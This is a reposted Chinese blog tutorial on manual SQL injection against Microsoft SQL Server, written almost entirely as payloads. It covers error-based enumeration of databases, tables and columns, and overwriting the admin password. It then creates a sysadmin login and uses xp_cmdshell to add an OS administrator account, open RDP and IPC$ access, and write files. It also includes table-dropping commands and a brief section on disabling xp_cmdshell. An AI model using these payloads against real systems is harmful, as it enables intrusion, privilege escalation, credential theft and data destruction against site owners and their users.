[乾貨]手工注入mssqlserver從基礎到高級操作

手工注mssqlserver

1.判斷注入點:

'

and 1=1 返回正常

and 1=2 返回錯誤

2.判斷版本號:nt5.2:win2003 nt6.1:win7

winver

and @@version>0

3.判斷當前連接的數據庫用戶and user >0

4.判斷當前連接數據庫:

and db_name()>0

5.判斷其它庫:修改dbid值 and (select name from master.dbo.sysdatabases where dbid=6)>0

6.判斷表名:and (select top 1 name from sysobjects where xtype='u' and status>0 )>0

7.判斷其它名:

and name not in('t_jiaozhu')

加到第6條語句最後一個括號前:

and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('t_jiaozhu'))>0

8.判斷列名:

and (select Top 1 col_name(object_id('admin'),1) from sysobjects)>0

9.判斷值:

and (select username from admin)>0

10.修改密碼:

;update article.dbo.admin set password='bbbbbb' where username='admin';--

mssqlserver高級操作

一。數據庫提權:sa==system>administrator

1.新建數據庫用戶:

;exec master..sp_addlogin hyq,888888;--

2.查看數據庫用戶:

程序-mssqlserver--企業管理器--安全性--登錄:刷新

3.提權:hyq用戶加入sysadmin組

;exec master..sp_addsrvrolemember hyq,sysadmin;--

4.獲取sa口令:

sqlmap.py -u "注入點" --passwords

利用漏洞:

數據庫的連接工具:navicat for mssql

查詢分析器:

delete from tbname

drop database dbname

drop tablename tbname

二。操作系統提權

1.新建系統用戶:

;exec master..xp_cmdshell 'net user txl1988 888888 /add'

2.提權:

;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'

漏洞利用:

1.遠程桌面:mstsc

2.ipc空連接:

net use \ip\ipc$

輸入用戶名,密碼

net use k: \ip\c$

三。向系統寫文件

;exec xp_cmdshell 'echo aaaa>c:\a.txt'

a.bat

:1

start iexplore.exe

goto 1

四。防護xp_cmdshell

1.刪除:xplog70.dll

;exec master..sp_dropextendedproc 'xp_cmdshell'

2.恢復:

;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'

sqlserver2005及以上版本

恢復:

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure

終極防護:防未公佈漏洞:基於cmdshell反彈

%system%system32\cmd.exe 刪除所有默認權限,添加administrator:完全控制

本文轉載自:***雲筆記

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章